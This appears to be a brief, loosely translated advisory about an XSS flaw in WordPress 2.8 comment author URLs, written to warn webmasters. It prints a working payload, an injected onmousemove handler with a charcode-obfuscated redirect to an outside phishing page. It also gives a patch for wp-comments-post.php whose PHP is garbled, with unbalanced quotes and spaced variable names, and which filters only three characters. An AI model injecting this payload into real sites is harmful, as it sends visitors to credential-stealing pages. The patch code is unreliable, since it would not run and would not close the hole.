From: vul. kr
It had been published that wordpress 2.8 All version are suffering from Xss, attackers can use this to do fishing, they make a wordpress login page as it is your own. if you don't take care, your password will be sent to the attacker's website. with your password, they can edit pages and upload webshell. it is harmful.
How is the attacker do this?
They insert website url like this (in the comments write place ):
Http://www.bkjia.com 'onmousemove = 'location. href = String. fromCharCode (104,116,116,112, 58,47, 47,119,119,119, 46,118,117,108, 46,107,114, 47,63, 112,61, 53,54, 57 );
If someone (or administrator) moved his mouse on the author's website. It will jump to another URL, which is a fishing page.
How can we patch it? Edit wp-comments-post.php go line 40 and then add:
$ Comment_author_url = str_replace (chr (39), ", $ comment_author_url );
$ Comment_author_url = str_replace (chr (59), ", $ comment_author_url );
$ Comment_author_url = str_replace (chr (44), ", $ comment_author_url );
Webmasters, please patch it as soon as you can.